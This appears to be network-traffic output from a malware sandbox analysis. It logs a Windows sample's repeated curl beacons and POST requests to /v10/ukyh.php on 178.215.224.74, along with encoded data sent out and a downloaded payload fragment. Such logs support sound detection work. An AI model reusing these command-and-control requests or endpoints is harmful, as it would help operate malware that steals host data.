Nov 21, 2024 20:00:47.715259075 CET	1236	IN	Data Raw: 32 70 6a 51 6a 4a 45 52 32 70 54 4f 45 31 42 51 32 4e 31 55 48 4a 68 4c 54 45 74 4c 33 68 75 5a 6a 4e 49 55 57 78 65 64 32 6c 7a 57 31 4e 44 53 57 68 68 51 44 4a 4b 5a 44 73 78 51 55 35 71 62 55 39 73 54 30 46 42 52 32 70 52 4f 45 64 4a 51 32 46 Data Ascii: 2pjQjJER2pTOE1BQ2N1UHJhLTEtL3huZjNIUWxed2lzW1NDSWhhQDJKZDsxQU5qbU9sT0FBR2pROEdJQ2F1VG1PRFlDQUZkbWNBeENDT3NMVjBqT2pHQ0N4MFg6SVNBQUlNakBTU0NDVWduSi1+Jy1XK2gwK3YvL2ktS0xSUWhTVDJnR0lBQUNWfjhUYUlCQ0FLWkNkQVFOUlFnNXBsWXBSaGlRZEFQVTRHUEpDSUk1dTNTT2c4
Nov 21, 2024 20:00:47.715390921 CET	1236	IN	Data Raw: 55 45 6e 64 54 41 34 54 47 6c 68 51 32 73 74 61 6c 64 55 4f 6d 46 50 61 32 74 44 51 54 5a 4e 62 45 64 42 51 30 74 47 65 45 46 35 52 6d 52 6c 52 43 31 6b 55 57 46 47 5a 6d 31 55 4c 57 5a 42 4b 30 78 53 5a 30 42 54 56 54 4e 47 4c 57 52 6d 61 69 31 Data Ascii: UEndTA4TGlhQ2staldUOmFPa2tDQTZNbEdBQ0tGeEF5RmRlRC1kUWFGZm1ULWZBK0xSZ0BTVTNGLWRmai1OVUNBWUNGJ2RkaC1EYHtBU0lJNSl3KU4yaFFBQUtYLS9uVVZjdWxVNk85TkFJRC1mY3hVNkNYR0FDRnBDR3J3XndqY1t1Q0lWb2tHa2lDQTRPMUVDQUBaV1dnUUFBSUNWdWhkU0FBQzZlejcvJzlWNEJENi8tKU44
Nov 21, 2024 20:00:47.715434074 CET	1236	IN	Data Raw: 6b 31 34 4c 53 74 7a 56 6b 38 34 64 44 4a 34 55 58 5a 4b 62 32 5a 6d 4e 32 6b 74 63 48 42 43 64 6c 4a 73 4e 6e 64 4d 56 69 63 7a 5a 6e 42 5a 65 6b 74 4a 51 55 56 74 51 44 52 4f 64 44 45 74 4a 7a 46 7a 51 32 78 76 54 43 74 50 61 57 49 35 5a 43 63 Data Ascii: k14LStzVk84dDJ4UXZKb2ZmN2ktcHBCdlJsNndMViczZnBZektJQUVtQDROdDEtJzFzQ2xvTCtPaWI5ZCctVUZkVS14Vktna0FDNmxMOi0vK05SZntOUGFBdVFBQTV/MVJlW0Z0P2RDc05SeHREZm5dNSkzV2kvM1hjYVJbSFFBRG11VU1DQUZsWGFKQUNLQUJzNkRSbUZHaUNBRkRyWmQzLyc2UkBCRGcpe05AQUNOam1DMEdB
Nov 21, 2024 20:00:47.715445995 CET	1236	IN	Data Raw: 55 74 77 52 6a 31 4c 63 45 46 6e 54 55 64 41 61 30 4d 79 52 54 70 64 54 55 4e 72 63 32 74 42 4e 46 46 4a 61 30 4a 46 62 30 38 34 56 55 56 44 61 30 45 77 52 44 68 56 52 55 4e 76 62 32 4a 36 55 31 46 45 52 55 4a 54 5a 48 70 52 55 30 4e 41 4e 6b 74 Data Ascii: UtwRj1LcEFnTUdAa0MyRTpdTUNrc2tBNFFJa0JFb084VUVDa0EwRDhVRUNvb2J6U1FERUJTZHpRU0NANktCRUlDQm8wUkBKQVI6VFZLQEFDR2RsRndDQU04bm95dEQtL3pQSFNZdnU2TUR7LycrTilEbGYzSlNOYU5rSFFBRG1MR0VBSURuUFZobmY2SldMLXBeR2VrQ0E2VGtQQUNMLUZZQ0FTQURyTGc4Q0FOUG1tZkwtLzBt
Nov 21, 2024 20:00:47.715456963 CET	1236	IN	Data Raw: 7a 5a 61 59 6a 45 74 4c 79 39 4b 55 6d 5a 33 51 45 46 4a 51 55 4e 4e 55 6a 49 32 54 47 6c 68 51 30 51 32 65 47 74 42 51 55 46 44 61 58 52 45 62 31 31 30 52 69 63 76 4d 47 31 41 61 79 31 6f 62 31 46 75 54 43 30 74 4e 47 35 47 4b 30 52 73 5a 44 56 Data Ascii: zZaYjEtLy9KUmZ3QEFJQUNNUjI2TGlhQ0Q2eGtBQUFDaXREb110RicvMG1Aay1ob1FuTC0tNG5GK0RsZDVKWU1WLzhUTElGQ0FJbERDTHZGZlJWc0NETFovelc2Z1VBQ2FXVUlHOk9YaEhDQ0NDRi9mbmItZlFob0hEOEFBS351Ty9OMlJZbGYvRGxmM0BRWi0zWGE2TGB0Ly0tLTFvWENsR0xIWmR1SkFDQ0M0eG5vQ0RKQ0NH
Nov 21, 2024 20:00:47.836260080 CET	1236	IN	Data Raw: 48 59 77 4c 53 38 76 59 54 4a 61 4f 46 5a 74 62 6b 52 79 54 32 5a 47 63 30 6c 42 51 30 4e 42 52 6d 39 61 61 6d 74 42 51 55 5a 59 53 46 59 79 59 55 68 57 52 56 6c 42 4e 6b 5a 72 4e 30 46 4a 51 58 68 37 56 32 46 49 56 45 64 68 51 57 6b 79 56 30 74 Data Ascii: HYwLS8vYTJaOFZtbkRyT2ZGc0lBQ0NBRm9aamtBQUZYSFYyYUhWRVlBNkZrN0FJQXh7V2FIVEdhQWkyV0tab3RMO0RCVGFaVXtpWjB1a1dVK1hnZEx2T2tLS0FBQWpXX2lVUDhUaElGQ0FJWENEPFRyQVFBQzY3MEArZTF1clFzUmBmejMnLS0nQlhTd1B1RnAySWNDQ0doZ2hVQUF2dkx1UUFCVWtWM3VpVjNxaV4wSzROMDZB

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49925	178.215.224.74	80	1696	C:\Windows\SysWOW64\curl.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 20:00:54.483695030 CET	97	OUT	GET /v10/ukyh.php?jspo=6 HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 21, 2024 20:00:55.794033051 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 19:00:55 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 62 68 6c 6f Data Ascii: bhlo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49930	178.215.224.74	80	5632	C:\Windows\SysWOW64\curl.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 20:00:56.286088943 CET	93	OUT	GET /v10/ukyh.php?gi HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 21, 2024 20:00:57.611834049 CET	211	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 19:00:57 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 11 Content-Type: text/html; charset=UTF-8 Data Raw: 38 2e 34 36 2e 31 32 33 2e 37 35 Data Ascii: 8.46.123.75

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49936	178.215.224.74	80	428	C:\Windows\SysWOW64\curl.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 20:00:58.415659904 CET	97	OUT	GET /v10/ukyh.php?jspo=6 HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 21, 2024 20:00:59.779395103 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 19:00:59 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 62 68 6c 6f Data Ascii: bhlo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	49941	178.215.224.74	80	2476	C:\Users\user\AppData\Local\Temp\139918\Ur.pif

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 20:01:00.217163086 CET	531	OUT	POST /v10/ukyh.php HTTP/1.1 Accept: text/* Content-Type: application/x-www-form-urlencoded; charset=utf-8 User-Agent: Mozilla/5.0 (X11; U; Linux i686; it-IT; rv:1.9.0.2) Gecko/2008092313 Ubuntu/9.04 (jaunty) Firefox/3.5 Host: 178.215.224.74 Content-Length: 237 Cache-Control: no-cache Data Raw: 6a 73 70 6f 3d 34 33 26 6a 77 76 73 3d 39 41 35 36 30 35 44 45 31 31 34 34 37 41 30 45 32 30 33 31 36 32 34 45 45 38 46 42 44 45 26 6d 65 6c 71 3d 4d 54 41 74 4d 44 35 5a 51 46 31 4c 52 6c 6c 49 58 54 6f 73 4e 6a 51 73 4d 7a 49 78 4a 6a 38 33 57 55 42 66 4d 54 41 75 4d 44 45 33 4d 6a 67 79 57 30 42 64 51 54 68 63 56 58 46 6c 63 6e 4e 65 61 6d 64 75 5a 33 46 63 51 58 4a 77 52 6d 4e 32 59 56 35 4f 62 57 4e 68 62 46 35 63 5a 32 31 77 56 44 4d 78 4d 54 6b 7a 4f 6c 35 58 63 43 78 77 61 32 35 54 51 6c 39 44 4f 46 78 56 63 32 56 79 63 31 35 69 62 57 35 6c 63 31 35 44 63 48 42 47 59 58 52 68 58 6b 78 6e 59 32 4e 75 58 46 52 6e 62 58 4a 65 4d 7a 4d 37 4f 7a 4d 34 58 46 56 77 4a 6e 4a 70 5a 67 25 33 44 25 33 44 Data Ascii: jspo=43&jwvs=9A5605DE11447A0E2031624EE8FBDE&melq=MTAtMD5ZQF1LRllIXTosNjQsMzIxJj83WUBfMTAuMDE3MjgyW0BdQThcVXFlcnNeamduZ3FcQXJwRmN2YV5ObWNhbF5cZ21wVDMxMTkzOl5XcCxwa25TQl9DOFxVc2Vyc15ibW5lc15DcHBGYXRhXkxnY2NuXFRnbXJeMzM7OzM4XFVwJnJpZg%3D%3D
Nov 21, 2024 20:01:01.533435106 CET	199	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 19:01:01 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.4	49945	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 20:01:01.734539032 CET	97	OUT	GET /v10/ukyh.php?jspo=6 HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 21, 2024 20:01:03.043689966 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 19:01:02 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 62 68 6c 6f Data Ascii: bhlo

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.4	49951	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 20:01:04.090903997 CET	134	OUT	GET /v10/ukyh.php?jspo=33&jwvs=9A5605DE11447A0E2031624EE8FBDE HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 21, 2024 20:01:05.378820896 CET	240	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 19:01:05 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 40 Content-Type: text/html; charset=UTF-8 Data Raw: 4d 53 70 53 5a 33 35 6e 62 6e 56 74 52 6d 64 2b 61 57 46 6e 63 53 78 6e 65 6d 56 43 53 47 35 6a 62 6e 4e 6e 51 44 45 3d Data Ascii: MSpSZ35nbnVtRmd+aWFncSxnemVCSG5jbnNnQDE=

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.4	49955	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 20:01:05.948683977 CET	97	OUT	GET /v10/ukyh.php?jspo=6 HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 21, 2024 20:01:07.275743961 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 19:01:07 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 62 68 6c 6f Data Ascii: bhlo

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.4	49961	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 20:01:08.090935946 CET	140	OUT	GET /v10/ukyh.php?jspo=3&jwvs=9A5605DE11447A0E2031624EE8FBDE&vprl=2 HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 21, 2024 20:01:09.340446949 CET	199	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 19:01:09 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.4	49972	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 20:01:12.497273922 CET	97	OUT	GET /v10/ukyh.php?jspo=6 HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 21, 2024 20:01:13.855789900 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 19:01:13 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 62 68 6c 6f Data Ascii: bhlo

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.4	49978	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 20:01:14.825248003 CET	175	OUT	GET /v10/ukyh.php?jspo=1&jwvs=9A5605DE11447A0E2031624EE8FBDE&zjyp=true&yuvc=false&nzrj=00000&sftb=true HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 21, 2024 20:01:16.134665966 CET	207	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 19:01:15 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 8 Content-Type: text/html; charset=UTF-8 Data Raw: 4e 33 78 32 62 57 46 6d Data Ascii: N3x2bWFm

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.4	49984	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 20:01:17.637731075 CET	97	OUT	GET /v10/ukyh.php?jspo=6 HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 21, 2024 20:01:18.887870073 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 19:01:18 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 62 68 6c 6f Data Ascii: bhlo

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.4	49985	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 20:01:17.653348923 CET	97	OUT	GET /v10/ukyh.php?jspo=6 HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 21, 2024 20:01:19.021061897 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 19:01:18 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 62 68 6c 6f Data Ascii: bhlo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	49986	178.215.224.74	80	2476	C:\Users\user\AppData\Local\Temp\139918\Ur.pif

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 20:01:19.232234955 CET	821	OUT	POST /v10/ukyh.php HTTP/1.1 Accept: text/* Content-Type: application/x-www-form-urlencoded; charset=utf-8 User-Agent: Mozilla/5.0 (X11; U; Linux i686; it-IT; rv:1.9.0.2) Gecko/2008092313 Ubuntu/9.04 (jaunty) Firefox/3.5 Host: 178.215.224.74 Content-Length: 527 Cache-Control: no-cache Data Raw: 6a 73 70 6f 3d 33 34 26 6a 77 76 73 3d 39 41 35 36 30 35 44 45 31 31 34 34 37 41 30 45 32 30 33 31 36 32 34 45 45 38 46 42 44 45 26 6d 65 6c 71 3d 4d 54 41 77 4b 44 30 6f 57 30 42 56 4d 7a 49 34 4b 6a 4d 79 4d 6a 4d 7a 4b 44 45 31 4d 43 59 77 4d 7a 55 73 4d 6a 49 30 4c 6a 63 30 57 55 68 66 4d 54 41 7a 4b 44 4d 77 4d 6a 49 31 4b 6c 4a 6e 64 6d 31 75 64 32 64 45 5a 58 52 70 59 57 64 78 4c 6d 64 36 5a 31 74 41 58 54 4d 34 4d 69 6f 78 4f 44 49 7a 4f 53 6f 7a 4e 54 6f 73 4d 44 4d 31 4c 44 6f 36 4e 69 77 33 4e 6c 74 41 58 54 49 71 4d 6a 49 39 4b 45 4d 36 58 46 64 78 5a 58 4a 78 58 47 70 76 62 47 56 37 58 45 4e 79 63 45 52 6a 64 47 4e 65 54 6d 39 68 59 32 35 63 64 47 56 76 65 46 35 53 5a 58 35 6e 62 48 31 6c 52 6d 64 30 61 32 46 6e 63 79 78 74 63 47 64 5a 51 46 38 34 4b 6a 45 77 4d 79 70 42 4d 6c 35 56 63 32 56 77 63 56 78 71 62 57 35 6c 63 31 35 42 65 48 42 47 59 33 52 68 58 6b 78 74 59 57 4e 73 58 6e 5a 6e 62 58 42 63 55 47 31 30 5a 57 35 39 5a 30 5a 74 64 6d 74 68 5a 33 45 73 5a 33 68 6e 55 30 68 66 4d [TRUNCATED] Data Ascii: jspo=34&jwvs=9A5605DE11447A0E2031624EE8FBDE&melq=MTAwKD0oW0BVMzI4KjMyMjMzKDE1MCYwMzUsMjI0Ljc0WUhfMTAzKDMwMjI1KlJndm1ud2dEZXRpYWdxLmd6Z1tAXTM4MioxODIzOSozNTosMDM1LDo6Niw3NltAXTIqMjI9KEM6XFdxZXJxXGpvbGV7XENycERjdGNeTm9hY25cdGVveF5SZX5nbH1lRmd0a2FncyxtcGdZQF84KjEwMypBMl5Vc2VwcVxqbW5lc15BeHBGY3RhXkxtYWNsXnZnbXBcUG10ZW59Z0ZtdmthZ3EsZ3hnU0hfMzAyKjYqW0BdMzgyKjEwMjMxKjM3OC4wMT0uMDA0LjU0WUJfMTIyKDEwMDM7KDE1U0JfOTAyKDMyMjMxKDk%2FOiwyMzUuMjI0LjU8WUBdMTIxKjEyMjAyKFJtdmdsdWVGZXRrYWVxLGd4ZVtCVTMwMCIzMjgxMygzNTosMjM9JjAwNCw3NFtAXQ%3D%3D
Nov 21, 2024 20:01:20.581027031 CET	199	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 19:01:20 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.4	49987	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 20:01:19.299710989 CET	93	OUT	GET /v10/ukyh.php?gi HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 21, 2024 20:01:20.629930973 CET	211	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 19:01:20 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 11 Content-Type: text/html; charset=UTF-8 Data Raw: 38 2e 34 36 2e 31 32 33 2e 37 35 Data Ascii: 8.46.123.75

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.4	49998	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 20:01:22.481530905 CET	97	OUT	GET /v10/ukyh.php?jspo=6 HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 21, 2024 20:01:23.786011934 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 19:01:23 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 62 68 6c 6f Data Ascii: bhlo

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.4	49999	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 20:01:23.325367928 CET	97	OUT	GET /v10/ukyh.php?jspo=6 HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 21, 2024 20:01:24.623718977 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 19:01:24 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 62 68 6c 6f Data Ascii: bhlo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.4	50005	178.215.224.74	80	2476	C:\Users\user\AppData\Local\Temp\139918\Ur.pif

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 20:01:25.026915073 CET	710	OUT	POST /v10/ukyh.php HTTP/1.1 Accept: text/* Content-Type: application/x-www-form-urlencoded; charset=utf-8 User-Agent: Mozilla/5.0 (X11; U; Linux i686; it-IT; rv:1.9.0.2) Gecko/2008092313 Ubuntu/9.04 (jaunty) Firefox/3.5 Host: 178.215.224.74 Content-Length: 416 Cache-Control: no-cache Data Raw: 6a 73 70 6f 3d 39 26 6a 77 76 73 3d 39 41 35 36 30 35 44 45 31 31 34 34 37 41 30 45 32 30 33 31 36 32 34 45 45 38 46 42 44 45 26 6d 65 6c 71 3d 61 6d 39 75 5a 33 74 5a 51 46 31 48 55 53 4a 47 59 57 39 6e 4f 43 49 69 49 69 41 69 4b 43 67 69 49 69 41 69 49 43 41 67 49 43 41 67 49 69 68 50 61 57 4e 79 62 58 46 76 5a 6e 59 67 56 32 6c 73 5a 47 64 33 63 53 49 78 4d 43 4a 51 63 47 31 5a 51 46 38 7a 4d 69 34 77 4d 54 55 34 4d 6a 42 62 53 46 38 79 4f 54 6b 30 4d 54 64 5a 51 6c 39 44 4f 46 52 64 63 57 64 79 63 56 78 71 62 32 35 6c 63 31 35 4a 63 6e 42 45 59 58 5a 6a 58 45 78 74 59 32 46 73 58 6c 52 74 62 58 4a 65 4d 54 4d 37 4f 54 4d 36 58 6c 56 77 4c 48 4a 70 5a 6c 74 43 56 55 45 36 58 46 31 78 5a 33 70 7a 58 6d 68 74 62 47 64 78 58 45 4e 34 65 45 5a 6a 64 47 4e 63 54 47 39 6a 59 57 78 65 58 47 64 74 63 46 77 7a 4d 54 6b 35 4d 7a 68 63 56 58 41 75 65 47 6c 6b 57 55 42 64 4d 7a 41 76 4d 44 52 62 51 6c 39 42 52 46 74 41 58 33 78 77 64 57 56 54 51 6c 39 75 59 57 35 78 5a 31 6c 43 58 7a 67 73 50 44 34 73 4d 7a [TRUNCATED] Data Ascii: jspo=9&jwvs=9A5605DE11447A0E2031624EE8FBDE&melq=am9uZ3tZQF1HUSJGYW9nOCIiIiAiKCgiIiAiICAgICAgIihPaWNybXFvZnYgV2lsZGd3cSIxMCJQcG1ZQF8zMi4wMTU4MjBbSF8yOTk0MTdZQl9DOFRdcWdycVxqb25lc15JcnBEYXZjXExtY2FsXlRtbXJeMTM7OTM6XlVwLHJpZltCVUE6XF1xZ3pzXmhtbGdxXEN4eEZjdGNcTG9jYWxeXGdtcFwzMTk5MzhcVXAueGlkWUBdMzAvMDRbQl9BRFtAX3xwdWVTQl9uYW5xZ1lCXzgsPD4sMzIxLjc1W0BdWUhfQzpcV3FlcnFcam9sZXtcQ3JwRGN0Y15Qb2Nva25nXEZnbnBoYWxGfW1ycQ%3D%3D
Nov 21, 2024 20:01:26.379108906 CET	199	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 19:01:26 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.4	50006	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 20:01:25.153795958 CET	175	OUT	GET /v10/ukyh.php?jspo=1&jwvs=9A5605DE11447A0E2031624EE8FBDE&zjyp=true&yuvc=false&nzrj=00000&sftb=true HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 21, 2024 20:01:26.464991093 CET	207	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 19:01:26 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 8 Content-Type: text/html; charset=UTF-8 Data Raw: 64 6d 39 70 5a 67 3d 3d Data Ascii: dm9pZg==

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.4	50007	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 20:01:26.723089933 CET	97	OUT	GET /v10/ukyh.php?jspo=6 HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 21, 2024 20:01:28.027894020 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 19:01:27 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 62 68 6c 6f Data Ascii: bhlo

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.4	50013	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 20:01:28.553103924 CET	140	OUT	GET /v10/ukyh.php?jspo=3&jwvs=9A5605DE11447A0E2031624EE8FBDE&vprl=2 HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 21, 2024 20:01:29.914760113 CET	199	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 19:01:29 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.4	50014	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 20:01:29.002254009 CET	97	OUT	GET /v10/ukyh.php?jspo=6 HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 21, 2024 20:01:30.314646006 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 19:01:30 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 62 68 6c 6f Data Ascii: bhlo

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.4	50020	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 20:01:31.262891054 CET	175	OUT	GET /v10/ukyh.php?jspo=1&jwvs=9A5605DE11447A0E2031624EE8FBDE&zjyp=true&yuvc=false&nzrj=00000&sftb=true HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 21, 2024 20:01:32.523741961 CET	207	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 19:01:32 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 8 Content-Type: text/html; charset=UTF-8 Data Raw: 64 6d 39 70 5a 67 3d 3d Data Ascii: dm9pZg==

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.4	50031	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 20:01:35.181283951 CET	97	OUT	GET /v10/ukyh.php?jspo=6 HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 21, 2024 20:01:36.448208094 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 19:01:36 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 62 68 6c 6f Data Ascii: bhlo

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.4	50036	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 20:01:37.684751987 CET	175	OUT	GET /v10/ukyh.php?jspo=1&jwvs=9A5605DE11447A0E2031624EE8FBDE&zjyp=true&yuvc=false&nzrj=00000&sftb=true HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 21, 2024 20:01:38.943878889 CET	207	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 19:01:38 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 8 Content-Type: text/html; charset=UTF-8 Data Raw: 64 6d 39 70 5a 67 3d 3d Data Ascii: dm9pZg==

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.4	50043	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 20:01:41.044296980 CET	97	OUT	GET /v10/ukyh.php?jspo=6 HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
